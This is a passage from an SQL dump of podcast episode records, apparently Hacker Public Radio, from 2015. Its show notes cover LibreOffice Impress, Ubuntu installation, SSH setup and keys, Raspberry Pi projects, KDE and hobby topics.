(1875,'2015-10-09','63 - LibreOffice Impress - Formatting Text',1050,'Text formatting options are explored','<p>\r\nI know we have focused a lot on using Styles to control the formatting of text, and there is a reason for that. As I have said so often, uniformity of appearance is an important part of a professional-looking presentation, and that is best done by using the Presentation and Drawing Object styles appropriately. But there is a place for all of the other tools Impress has, and I want to go over some of them now before we move on to other topics.\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1262\">https://www.ahuka.com/?page_id=1262</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?page_id=300\">https://www.ahuka.com/?page_id=300</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1267\">https://hackerpublicradio.org/eps.php?id=1267</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1275\">https://hackerpublicradio.org/eps.php?id=1275</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1285\">https://hackerpublicradio.org/eps.php?id=1285</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1262\">https://www.ahuka.com/?page_id=1262</a>\r\n</li>\r\n</ul>',198,70,1,'CC-BY-SA','LibreOffice, Impress, Text',0,0,1),
(1885,'2015-10-23','64 - LibreOffice Impress - Multimedia',853,'Using Audio and Video files in Impress','<p>\r\nOne thing that Impress lets you do that can be kind of fun is to use Multimedia files in your presentations in various ways. Now, there are some interesting limitations here. First of all, any time you want sounds, whether from an audio file or as part of a movie file, you need to have the right hardware. This means a little planning ahead. In many of the places where I do presentations the video is all I have. But most modern projectors, particularly in corporate meeting rooms, have the capability of playing audio as well as video. \r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1271\">https://www.ahuka.com/?page_id=1271</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1845\">https://hackerpublicradio.org/eps.php?id=1845</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1222\">https://www.ahuka.com/?page_id=1222</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1271\">https://www.ahuka.com/?page_id=1271</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Impress, Multimedia, Audio, Video',0,0,1),
(1895,'2015-11-06','65 - LibreOffice Impress - OLE Objects, Spreadsheets, and Charts',966,'Using Calc modules and data in a presentation','<p>\r\nThe next topic we want to cover involves something called OLE, which stands for Object Linking and Embedding. This was developed by Microsoft, but has spread to the free software world as well. What it means is that you can use data from two different programs together, and changes made in place are automatically reflected in the other place. A great example comes with spreadsheets, since you create them in a spreadsheet program like Calc, but you might want to take a table created there and put it into a slide to display. \r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1275\">https://www.ahuka.com/?page_id=1275</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1275\">https://www.ahuka.com/?page_id=1275</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Impress, OLE, Spreadsheets, Charts',0,0,1),
(1905,'2015-11-20','66 - LibreOffice Impress - Built-In Charts',861,'Creating charts from inside Impress','<p>\r\nIn the last tutorial we looked at OLE objects, and saw that Charts could be brought into Impress from Calc via OLE. But you can create the Charts directly in Impress. Bear in mind that due to the modular nature of LibreOffice you will be using the same tools to do this as Calc uses: LibreOffice developers never reinvent the wheel if they can avoid it.\r\n</p>\r\n<p>\r\nThere is a lot to know about Charts if you are going to use them effectively, and we covered all of this in our Calc tutorials.\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1291\">https://www.ahuka.com/?page_id=1291</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?page_id=772\">https://www.ahuka.com/?page_id=772</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=780\">https://www.ahuka.com/?page_id=780</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=809\">https://www.ahuka.com/?page_id=809</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1545\">https://hackerpublicradio.org/eps.php?id=1545</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1555\">https://hackerpublicradio.org/eps.php?id=1555</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1565\">https://hackerpublicradio.org/eps.php?id=1565</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=9\">https://www.ahuka.com/?page_id=9</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Impress, Charts',0,0,1),
(1915,'2015-12-04','67 - LibreOffice Impress - Tables',937,'Impress tables and how to format them','<p>\r\nWe now have looked at three of the four objects that are offered to you on a new slide: Charts, Pictures, and Movies. So now it is time to take a look at Tables. You have options here, such as embedding a table from Calc or Writer, and there are times when you need that degree of power. But most of the time you can do what you need inside of Impress using its own functionality. As we saw last time with Charts, you can just click the button in the middle of a new slide and insert a Table that way, but that may not always be feasible, so you have the alternative option of going to the Insert menu and selecting Table. \r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1285\">https://www.ahuka.com/?page_id=1285</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1285\">https://www.ahuka.com/?page_id=1285</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Impress, Tables',0,0,1),
(1854,'2015-09-10','Installing Ubuntu on the Asus TP500L',927,'I talk about the process of getting Ubuntu onto my son\'s UEFI-secured laptop.','<ol>\r\n	<li>Getting to BIOS\r\n		<ol type=\"1\">\r\n			<li>In Windows, go to Settings </li>\r\n			<li>Search for advanced startup options</li>\r\n			<li>Follow your nose to Boot to UEFI settings</li>\r\n			<li>Can also get there by doing <code>Shift+click</code> on the <code>Restart</code> or <code>Shutdown</code> buttons then clicking through to advanced options until you find \"enter setup.\" Pressing <code>F2</code> never worked for me</li>\r\n		</ol></li>\r\n	<li>In the BIOS\r\n		<ol type=\"1\">\r\n			<li>Security tab: disable \"Secure Boot Control\"</li>\r\n			<li>Boot tab: disable \"Fast Boot\"</li>\r\n			<li>Boot tab: Here Asus support says to enable \"launch CSM\" (Compatibility Support Mode) but it wouldn\'t boot from the Ubuntu USB image this way. It worked when I left CSM disabled. I bet CSM works with a Windows or DOS USB.</li>\r\n		</ol></li>\r\n	<li>Plug in USB with Ubuntu image on it</li>\r\n	<li>Restart computer and hold ESC key down, forcing windows boot menu to appear</li>\r\n	<li>Choose the USB drive to boot from, off you go!</li>\r\n</ol>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li>The Asus TP500LA: <a href=\"https://www.asus.com/US/Notebooks_Ultrabooks/ASUS_Transformer_Book_Flip_TP500LA/\">https://www.asus.com/US/Notebooks_Ultrabooks/ASUS_Transformer_Book_Flip_TP500LA/</a></li>\r\n	<li>The page with the wireless solution: <a href=\"https://community.linuxmint.com/tutorial/view/1796\">https://community.linuxmint.com/tutorial/view/1796</a></li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','UEFI, Ubuntu, Dual-Booting, Windows 10, Privacy',0,0,1),
(1853,'2015-09-09','I &lt;3 Vista',400,'How I got into Linux','<p>\r\nI talk about how Vista got me into Linux, and my computing experience in general.\r\n</p>',303,0,0,'CC-BY-SA','Windows Vista,Ubuntu,Macintosh,Acer,Debian',0,0,1),
(1856,'2015-09-14','ssh config',747,'Klaatu talks about ssh config.','<p>Put a file called \'config\' into ~/.ssh and you can define any option you would normally provide as part of the command as an automatically-detected configuration.</p>\r\n\r\n<p>\r\nFor example:\r\n</p>\r\n<pre>\r\nhost foo\r\n    hostname foo.org\r\n    identityfile /home/klaatu/.ssh/foo_rsa\r\n    port 2740\r\n    protocol 2\r\n</pre>\r\n<p>\r\nMakes the command \'ssh klaatu@foo\' look like this to SSH:\r\n</p>\r\n<pre>\r\nssh -p2740 -i ~/.ssh/foo_rsa klaatu@foo.org\r\n</pre>',78,0,0,'CC-BY-SA','ssh,configuration,tutorial,hints and tips',0,0,1),
(1857,'2015-09-15','Adventures In Coffee',1131,'CPrompt talks about his adventures in coffee making and how he finally realized that the French Pres','<ol>\r\n<li>CPrompts French Press: <a href=\"https://www.amazon.com/Bodum-Chambord-French-Coffee-Chrome/dp/B00008XEWG\">https://www.amazon.com/Bodum-Chambord-French-Coffee-Chrome/dp/B00008XEWG</a>\r\n</li>\r\n<li>Grocer that has some great coffee: <a href=\"https://www.thefreshmarket.com/\">https://www.thefreshmarket.com/</a>\r\n</li>\r\n<li>The only creamer that will go in CPrompt\'s coffee: <a href=\"https://www.califiafarms.com/products/coffee-creamer/\">https://www.califiafarms.com/products/coffee-creamer/</a> \r\n</li>\r\n</ol>',252,88,1,'CC-BY-SA','coffee,fresh,coffee pots,french press,cafetière,coffee plunger',0,0,1),
(1859,'2015-09-17','A Mouse in a Maze on the Raspberry PI',2389,'This podcast describes a little game that I learned in my first programming class.','<p>This podcast is about a little programming exercise I learned in my first programming class. The idea is to generate a random text-based maze and make mouse (\'@\') search the maze systematically to find the cheese (\'V\'). If it does so before it runs out of energy (moves) it wins (\'$\' == happy mouse). Otherwise it starves (\'%\' == dead mouse).</p>\r\n<p>You can find my git repos for the Raspberry PI code including this program at these locations:</p>\r\n<ul>\r\n<li><a href=\"https://gitlab.com/catrpi/catrpi.git\" class=\"uri\">https://gitlab.com/catrpi/catrpi.git</a></li>\r\n<li><a href=\"https://github.com/ctelfer/catrpi.git\" class=\"uri\">https://github.com/ctelfer/catrpi.git</a></li>\r\n</ul>\r\n<p>The Mouse-in-a-maze program also requires the catlib library as well which is at:</p>\r\n<ul>\r\n<li><a href=\"https://gitlab.com/catlib/catlib.git\" class=\"uri\">https://gitlab.com/catlib/catlib.git</a></li>\r\n<li><a href=\"https://github.com/ctelfer/catlib.git\" class=\"uri\">https://github.com/ctelfer/catlib.git</a></li>\r\n</ul>\r\n<p>You may note that these directories are different from those in my previous RPI episodes. The repositories used to be on gitorious. However since gitlab acquired gitorious, I have migrated the repositories. They currently live on both github and gitlab and I have pushing updates to both for the time being. So I have been waffling about which one will be the ultimate master for these projects. But since, I am doing most all the work on this code myself, it doesn\'t much matter for the time being.</p>\r\n<p>If this is your first time playing with bare metal programming in the RPI you can get more info and tips from HPR episodes 1619, 1630 and 1666. Note that the gitorious links in those episodes are outdated as mentioned above. The github links therein should still be fine though.</p>\r\n<p>The mouse code itself is in the <code>apps/mouse0</code> directory. If you haven\'t played with this environment before you\'ll need to do the following:</p>\r\n<ul>\r\n<li>Get a compatible ARM toolchain up and running to build for the RPI. I recommend using: <a href=\"https://github.com/dwelch67/build_gcc/blob/master/build_arm\" class=\"uri\">https://github.com/dwelch67/build_gcc/blob/master/build_arm</a></li>\r\n<li>You\'ll need a USB-to-TTL serial cable to hook up to the RPI. I use: <a href=\"https://www.adafruit.com/products/954\" class=\"uri\">https://www.adafruit.com/products/954</a></li>\r\n<li>You\'ll also need a small SD card to boot from.</li>\r\n<li>Follow the steps in catrpi/README.txt to\r\n<ul>\r\n<li>create an SD-card with a loader on it.</li>\r\n<li>build catlib for the RPI locally (a prereq for building mouse0.bin)</li>\r\n<li>set up your serial connection to the RPI</li>\r\n<li>start up a minicom instance to connect to the RPI</li>\r\n</ul></li>\r\n</ul>\r\n<p>Once those prerequisites are taken care of you can:</p>\r\n<ul>\r\n<li>change directory to <code>/path/to/catrpi/apps/mouse0</code> type <code>make</code> to build</li>\r\n<li>mouse0.bin power on the RPI at the loader prompt, type \'x\' in the</li>\r\n<li>serial console to start X-modem reception on the RPI</li>\r\n<li>use your terminal program to send the mouse0.bin file via X-modem. In minicom you do this by CTRL-A followed by \'s\'. You then select \'xmodem\' as the protocol and navigate to and select the file <code>mouse0.bin</code> to send.</li>\r\n<li>when the transfer completes type \'s\' to start the program</li>\r\n</ul>\r\n<p>These pages describe VT100 Terminal codes:</p>\r\n<ul>\r\n<li><a href=\"https://ascii-table.com/ansi-escape-sequences-vt-100.php\" class=\"uri\">https://ascii-table.com/ansi-escape-sequences-vt-100.php</a></li>\r\n<li><a href=\"https://www.termsys.demon.co.uk/vtansi.htm\" class=\"uri\">https://www.termsys.demon.co.uk/vtansi.htm</a></li>\r\n</ul>\r\n<p>Sample traversal:</p>\r\n<pre><code>  ########################################\r\n  #+0****## #+#...###...#..$ ##  #  #    #\r\n  ##+###+## #+++......#...# ##       #   #\r\n  # #.+++++#....#   #      #    #      # #\r\n  #  #+++++#+.+..#  #  #          #      #\r\n  #  #.##.+++#+.### #     #   #   ##     #\r\n  #  ###.+.##++.##     #   ###     #   # #\r\n  ####+.#..#++#.##   #      #####   ##   #\r\n  #++#.#.###+.##    ##       ##    #   # #\r\n  #++++++.##.++.#   #  ##     #  # #  # ##\r\n  #+++++#..##.##      ## #  #### # #    ##\r\n  #+.....#..#.  ##   #      #     ##  ## #\r\n  #+..+.......   # #      #      #  ##   #\r\n  #+...#..###       # #  #          ##  ##\r\n  #.#..#.........# # # # ##### # #    ## #\r\n  #.......##  ##....  #        ###   ##  #\r\n  ##......# ##   ##..#  #####          # #\r\n  #.+.#...###    ###. ##          ##  # ##\r\n  ##.+...#  #      ####      #   ##    # #\r\n  ########################################\r\n  Mouse found the cheese!  :)  Press any key to restart!</code></pre>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://gitlab.com/catrpi/catrpi.git\" class=\"uri\">https://gitlab.com/catrpi/catrpi.git</a></li>\r\n<li><a href=\"https://github.com/ctelfer/catrpi.git\" class=\"uri\">https://github.com/ctelfer/catrpi.git</a></li>\r\n<li><a href=\"https://gitlab.com/catlib/catlib.git\" class=\"uri\">https://gitlab.com/catlib/catlib.git</a></li>\r\n<li><a href=\"https://github.com/ctelfer/catlib.git\" class=\"uri\">https://github.com/ctelfer/catlib.git</a></li>\r\n<li><a href=\"https://github.com/dwelch67/build_gcc/blob/master/build_arm\" class=\"uri\">https://github.com/dwelch67/build_gcc/blob/master/build_arm</a></li>\r\n<li><a href=\"https://www.adafruit.com/products/954\" class=\"uri\">https://www.adafruit.com/products/954</a></li>\r\n<li><a href=\"https://ascii-table.com/ansi-escape-sequences-vt-100.php\" class=\"uri\">https://ascii-table.com/ansi-escape-sequences-vt-100.php</a></li>\r\n<li><a href=\"https://www.termsys.demon.co.uk/vtansi.htm\" class=\"uri\">https://www.termsys.demon.co.uk/vtansi.htm</a></li>\r\n</ul>\r\n',259,25,0,'CC-BY-SA','Raspberry PI, Bare metal programming',0,0,1),
(1867,'2015-09-29','The Lafayette Public Library Maker Space',2733,'My son and I visit the Lafayette Public Library to try out the 3d printer in the maker space.','<h2>The Lafayette Public Library Maker Space</h2>\n\n<img width=\"600\" src=\"https://lafayettepubliclibrary.org/wp-content/uploads/2009/08/main-5-cropped.jpg\" alt=\"Exterior photograph of the downtown Lafayette Public Library\">\n\n<p>The Renovated Main Library</p>\n\n<img width=\"600\" src=\"https://hackerpublicradio.org/eps/hpr1867/02_LPLmakerSpace.jpeg\" alt=\"Large table with sewing machine\">\n\n<p>Sewing Area</p>\n\n<img width=\"600\" src=\"https://hackerpublicradio.org/eps/hpr1867/01_LPLmakerSpace.jpeg\" alt=\"Display case in maker area with laser etched rolling pin\">\n\n<p>Rolling pin with laser-etched &pi; symbols </p>\n\n\n<img width=\"600\" src=\"https://hackerpublicradio.org/eps/hpr1867/07_LPLmakerSpace.jpeg\" alt=\"Array of comfy chairs in a circle with a basket of knitting materials nearby\">\n\n<p>Knitting Area</p>\n\n\n<img width=\"600\" src=\"https://hackerpublicradio.org/eps/hpr1867/06_LPLmakerSpace.jpeg\" alt=\"Triangular table with laptops and tubs of Lego robotics parts\">\n<p>Lego Robotics Space</p>\n\n<img width=\"600\" src=\"https://hackerpublicradio.org/eps/hpr1867/03_LPLmakerSpace.jpeg\" alt=\"One of the 3d printers in the maker space\">\n\n<p>The <a href=\"https://ultimaker.com/en/products/ultimaker-2-family/ultimaker-2\">Ultimaker<sup>2</sup></a></p>\n\n<img width=\"600\" src=\"https://hackerpublicradio.org/eps/hpr1867/05_LPLmakerSpace.jpeg\" alt=\"Close up image of the display panel on 3d printer\">\n\n<p>Trying to print my Kindle paperwhite stand.</p>\n\n<img width=\"600\" src=\"https://hackerpublicradio.org/eps/hpr1867/04_LPLmakerSpace.jpeg\" alt=\"The other 3d printer in the maker space\">\n\n<p>The <a href=\"https://www.lulzbot.com/products/lulzbot-taz-5-3d-printer\">Taz 3D printer</a> by Lulzbot</p>\n\n<p>The finished Kindle stand:</p>\n\n<img width=\"600\" src=\"https://hackerpublicradio.org/eps/hpr1867/08_LPLmakerSpace.jpeg\" alt=\"My new Kindle stand printed using blue filament\">\n\n<p>It worked! Bad part of this design is that it does not accommodate the case that I have on my Kindle, so to use the stand with the Kindle I\'ll have to remove the case. The next photo shows my son\'s nook color sitting sideways on it. I might try to modify the design so that it will accommodate the Kindle with its case and also prop it up a bit more vertically. Still, this was a really fun experiment with my first 3d printout. </p>\n\n<img width=\"600\" src=\"https://hackerpublicradio.org/eps/hpr1867/09_LPLmakerSpace.jpeg\"  alt=\"Kindle stand holding a Nook Color in landscape position\">\n\n\n<h2>Links</h2>\n\n<ul>\n	<li><a href=\"https://lafayettepubliclibrary.org/?page_id=118\">Lafayette Public Library Downtown Branch</a></li>\n\n</ul>\n\n<h2>Credits</h2>\n\n<ul>\n	<li>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"https://www.opengoldbergvariations.org/\">https://www.opengoldbergvariations.org/</a>, used by permission of their <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\n</ul>\n',238,0,0,'CC-BY-SA','3d printing, DIY, makers, libraries',0,0,1),
(1861,'2015-09-21','Cool Stuff pt. 4',1032,'CPrompt talks about some more cool stuff for you to enjoy!','<h3>CMUS</h3>\r\n\r\n<p>\r\nA great command line music player\r\n</p>\r\n<p>\r\nCMUS Home Page: <a href=\"https://cmus.github.io/\">https://cmus.github.io/</a>\r\n</p>\r\n<p>\r\nA good guide: <a href=\"https://www.tuxarena.com/static/cmus_guide.php\">https://www.tuxarena.com/static/cmus_guide.php</a>\r\n</p>\r\n\r\n<h3>Song Exploder</h3>\r\n\r\n<p>\r\nPodcast where musicians take apart their songs bit by bit\r\n</p>\r\n<p>\r\n<a href=\"https://songexploder.net/\">https://songexploder.net/</a>\r\n</p>\r\n\r\n<h3>Mr. Robot</h3>\r\n\r\n<p>\r\n<a href=\"https://www.imdb.com/title/tt4158110/\">https://www.imdb.com/title/tt4158110/</a>\r\n</p>\r\n<p>\r\n\"Follows a young computer programmer (Malek) who suffers from social anxiety disorder and forms connections through hacking. He\'s recruited by a mysterious anarchist, \r\nwho calls himself Mr. Robot.\"\r\n</p>\r\n<p>\r\nThe pilot for Mr. Robot was directed by Niels Arden Oplev (The Girl With The Dragon Tattoo) \r\n</p>\r\n<p>\r\nDirected by: \r\n</p>\r\n\r\n<ul>\r\n<li>Sam Esmail\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nStarring:\r\n</p>\r\n\r\n<ul>\r\n<li>Rami Malek\r\n</li>\r\n<li>Christian Slater\r\n</li>\r\n<li>Carly Chaikin\r\n</li>\r\n<li>Portia Doubleday\r\n</li>\r\n<li>Martin Wallstrm\r\n</li>\r\n</ul>',252,0,0,'CC-BY-SA','CMUS,Mr Robot',0,0,1),
(1862,'2015-09-22','The Awesomely Epic Guide To KDE Part 1',1307,'A tutorial of the KDE Desktop','<p>\r\nHello my name is Geddes and this is my first HPR Episode. Its part 1 of an audio voice recording of an  article entitled THE AWESOMELY EPIC GUIDE TO KDE. This is a tutorial on the KDE Desktop,  which I did for Linux Voice Magazine back at the start of 2015. Its primarily in response to the call from HPR for more shows, but in my introduction I\'ve also mentioned a few other reasons which I hope listeners will find interesting, a couple are around the issues of diversity and accessibility. \r\n</p>\r\n\r\n<ul>\r\n<li>All Linux Voice Creative Commons Issues\r\n<a href=\"https://www.linuxvoice.com/creative-commons-issues/\">https://www.linuxvoice.com/creative-commons-issues/</a>\r\n<p></p>\r\n</li>\r\n<li>PDF version of the THE AWESOMELY EPIC GUIDE TO KDE\r\n<a href=\"https://www.linuxvoice.com/issues/002/02kde.pdf\">https://www.linuxvoice.com/issues/002/02kde.pdf</a>\r\n<p></p>\r\n</li>\r\n<li>HTML version THE AWESOMELY EPIC GUIDE TO KDE\r\n<a href=\"https://www.linuxvoice.com/desktops/\">https://www.linuxvoice.com/desktops/</a>\r\n<p></p>\r\n</li>\r\n<li>My Google+ Link\r\n<a href=\"https://plus.google.com/100383969073428986317/posts\">https://plus.google.com/100383969073428986317/posts</a>\r\n<p></p>\r\n</li>\r\n</ul>',310,0,0,'CC-BY-SA','Linux Voice,KDE,desktop',0,0,1),
(1870,'2015-10-02','19 - Home SSH Server',1115,'To learn ssh it helps to experiment, so this explains setting up a simple home server.','<p>\r\nThe best way to get familiarity with the concepts we will discuss is by experimentation. I think that it is becoming more common these days for people to own more than one computer and set them up in a network. And with cheap computers like Raspberry Pi it is really easy to get started. In this tutorial I want to discuss how you can set up such a server for your experiments in ssh. I encourage you to do this even though I dont intend this series to focus on server administration. The idea is that by practising these these techniques behind a good firewall you can get some familiarity with them before you get out on the Internet where it matters. For most Linux users, at least, installing and setting up a server is really simple, and you can do it minutes.\r\nFor more go to <a href=\"https://www.zwilnik.com/?page_id=847\">https://www.zwilnik.com/?page_id=847</a> \r\n</p>\r\n\r\n<h3>Links:</h3>\r\n\r\n <ul>\r\n <li><a href=\"https://www.openssh.com/manual.html\">https://www.openssh.com/manual.html</a>\r\n </li>\r\n <li><a href=\"https://help.ubuntu.com/community/SSH\">https://help.ubuntu.com/community/SSH</a>\r\n </li>\r\n <li><a href=\"https://linuxconfig.org/how-to-install-start-and-connect-to-ssh-server-on-fedora-linux\">https://linuxconfig.org/how-to-install-start-and-connect-to-ssh-server-on-fedora-linux</a>\r\n </li>\r\n <li><a href=\"https://en.opensuse.org/OpenSSH\">https://en.opensuse.org/OpenSSH</a>\r\n </li>\r\n <li><a href=\"https://blogs.msdn.com/b/powershell/archive/2015/06/03/looking-forward-microsoft-support-for-secure-shell-ssh.aspx\">https://blogs.msdn.com/b/powershell/archive/2015/06/03/looking-forward-microsoft-support-for-secure-shell-ssh.aspx</a>\r\n </li>\r\n <li><a href=\"https://www.raspberrypi.org/documentation/remote-access/ssh/\">https://www.raspberrypi.org/documentation/remote-access/ssh/</a>\r\n </li>\r\n <li><a href=\"https://www.openbsd.org/cgi-bin/man.cgi?query=sshd&amp;sec=8\">https://www.openbsd.org/cgi-bin/man.cgi?query=sshd&amp;sec=8</a>\r\n </li>\r\n <li><a href=\"https://www.zwilnik.com/?page_id=847\">https://www.zwilnik.com/?page_id=847</a>\r\n <p></p>\r\n </li>\r\n </ul>',198,74,0,'CC-BY-SA','ssh, Telnet, server',0,0,1),
(1900,'2015-11-13','20 - SSH Basics',1009,'In this we tutorial explore the basics of making an ssh connection.','<p>\r\nSo as we saw in the introductory tutorial, SSH uses the Client-Server model. Now, technically a server is just the machine you are connecting to, and there is no reason in principle that it could not be another desktop, a laptop, or even a telephone if it has the appropriate software. and in the previous tutorial we showed how you can easily install and set up an ssh server on your home network using another computer or a Raspberry Pi so that you can experiment with these commands. The model really reduces to you as the client, and the other machine as the server. As with all Internet connections there are standards and protocols involved. The original Telnet communicated over TCP through port 23. Because SSH was conceived as a replacement, it used the same TCP protocols, and was assigned the adjacent port number of 22. \r\nFor more go to <a href=\"https://www.zwilnik.com/?page_id=726\">https://www.zwilnik.com/?page_id=726</a> \r\n</p>\r\n\r\n<h3>Links:</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://tools.ietf.org/html/rfc4253\">https://tools.ietf.org/html/rfc4253</a>\r\n</li>\r\n<!--\r\nChanged to a Wayback Macine address 2019-01-31\r\n<li><a href=\"https://www.tiltedwindmillpress.com/?product=ssh-mastery-openssh-putty-tunnels-and-keys-ebook\">https://www.tiltedwindmillpress.com/?product=ssh-mastery-openssh-putty-tunnels-and-keys-ebook</a>\r\n-->\r\n<li><a href=\"https://web.archive.org/web/20161022185248/https://www.tiltedwindmillpress.com/?product=ssh-mastery-openssh-putty-tunnels-and-keys-ebook\">https://www.tiltedwindmillpress.com/?product=ssh-mastery-openssh-putty-tunnels-and-keys-ebook</a>\r\n</li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=726\">https://www.zwilnik.com/?page_id=726</a>\r\n<p></p>\r\n</li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','ssh, client, basics',0,0,1),
(1863,'2015-09-23','The Awesomely Epic Guide To KDE Part 2',1307,'The Awesomely Epic Guide To KDE Part 2','<p>\r\nHello my name is Geddes and this is my second HPR Episode. Its part 2 of an audio voice recording of an article entitled THE AWESOMELY EPIC GUIDE TO KDE. This is a tutorial on the KDE Desktop,  which I did for Linux Voice Magazine back at the start of 2015. In this half the topics I cover are - Upgrade Launch Menu, File Management, Window Management, and Visual Effects.\r\n</p>\r\n\r\n<ul>\r\n<li>All Linux Voice Creative Commons Issues\r\n<a href=\"https://www.linuxvoice.com/creative-commons-issues/\">https://www.linuxvoice.com/creative-commons-issues/</a>\r\n<p></p>\r\n</li>\r\n<li>PDF version of the THE AWESOMELY EPIC GUIDE TO KDE\r\n<a href=\"https://www.linuxvoice.com/issues/002/02kde.pdf\">https://www.linuxvoice.com/issues/002/02kde.pdf</a>\r\n<p></p>\r\n</li>\r\n<li>HTML version THE AWESOMELY EPIC GUIDE TO KDE\r\n<a href=\"https://www.linuxvoice.com/desktops/\">https://www.linuxvoice.com/desktops/</a>\r\n<p></p>\r\n</li>\r\n<li>My Google+ Link\r\n<a href=\"https://plus.google.com/100383969073428986317/posts\">https://plus.google.com/100383969073428986317/posts</a>\r\n</li>\r\n</ul>',310,0,0,'CC-BY-SA','Linux Voice,KDE,desktop',0,0,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (1920,'2015-12-11','21 - SSH Authentication - Keys',1119,'We introduce the idea of using public/private key pairs for authentication','<p>\r\nWhen you first try to login to a remote server you need to authenticate yourself, which means you have to demonstrate that you have rights to be on that server.  You can do this in several ways:\r\n</p>\r\n\r\n<ul>\r\n<li>Password  You authenticate to the server by typing in your password. This is easy because you can generally remember your password, and it means you can easily login from any computer with that knowledge. This is still the most common authentication mechanism for SSH. It is also the least secure.\r\n</li>\r\n<li>Public Key  This is much more secure. It involves the creation of a key pair, of course. It is possible to use a key pair generated by PGP or GPG in the most current versions (version 2.0.13 introduced support for this). But there is a long established method using the Unix program ssh-keygen. This is very similar to generating a key pair as we discussed earlier. You run the program ssh-keygen, harvest some entropy, generate a passphrase to protect it, and so on.\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nFor more go to <a href=\"https://www.zwilnik.com/?page_id=733\">https://www.zwilnik.com/?page_id=733</a> \r\n</p>\r\n\r\n<h3>Links:</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=650\">https://www.zwilnik.com/?page_id=650</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1640\">https://hackerpublicradio.org/eps.php?id=1640</a>\r\n</li>\r\n<li><a href=\"https://linux.die.net/man/1/ssh-keygen\">https://linux.die.net/man/1/ssh-keygen</a>\r\n</li>\r\n<li><a href=\"https://csrc.nist.gov/publications/drafts/nistir-7966/nistir_7966_draft.pdf\">https://csrc.nist.gov/publications/drafts/nistir-7966/nistir_7966_draft.pdf</a>\r\n</li>\r\n<li><a href=\"https://kb.siteground.com/how_to_generate_an_ssh_key_on_windows_using_putty/\">https://kb.siteground.com/how_to_generate_an_ssh_key_on_windows_using_putty/</a>\r\n</li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=733\">https://www.zwilnik.com/?page_id=733</a>\r\n</li>\r\n</ul>',198,74,0,'CC-BY-SA','ssh, client, encryption, keys',0,0,1),
(1864,'2015-09-24','Turning an old printer into a network printer',1261,'Using a Raspberry Pi as a print spooler for an old USB printer','<h2 id=\"overview\">Overview</h2>\r\n<p>I have a USB printer I bought back in 2005 when I bought a Windows PC for the family. It\'s an <a href=\"https://h10025.www1.hp.com/ewfrf/wc/product?cc=uk&amp;lc=en&amp;product=303753\">HP PSC 2410 PhotoSmart All-in-One printer</a>. This device is a colour inkjet printer, with a scanner, FAX and card-reading facilities. It has been left unused in a corner for many years, and I recently decided to to see if I could make use of it again, so I cleaned it up and bought some new ink cartridges for it.</p>\r\n<p>It is possible to use this printer on Linux using <a href=\"https://www.cups.org/\" title=\"CUPS\">CUPS</a> for the printing and <a href=\"https://en.wikipedia.org/wiki/Scanner_Access_Now_Easy\" title=\"SANE\">SANE</a> for scanning. I connected it to my Linux desktop for a while to prove that it was usable. However, rather than leaving it connected in this way, I wanted to turn it into a network printer that could be used by the rest of the family. My kids are mostly away at university these days but invariably need to print stuff when they pass through. I searched the Internet and found an <a href=\"https://www.raspberry-pi-geek.com/Archive/2013/01/Converting-the-Raspberry-Pi-to-a-wireless-print-server\" title=\"Raspberry Pi Geek\">article</a> in the <em>Raspberry Pi Geek</em> magazine which helped with this project.</p>\r\n<h2 id=\"full-notes\">Full Notes</h2>\r\n<p>Since the notes explaining this subject are long, they have been placed here: <a 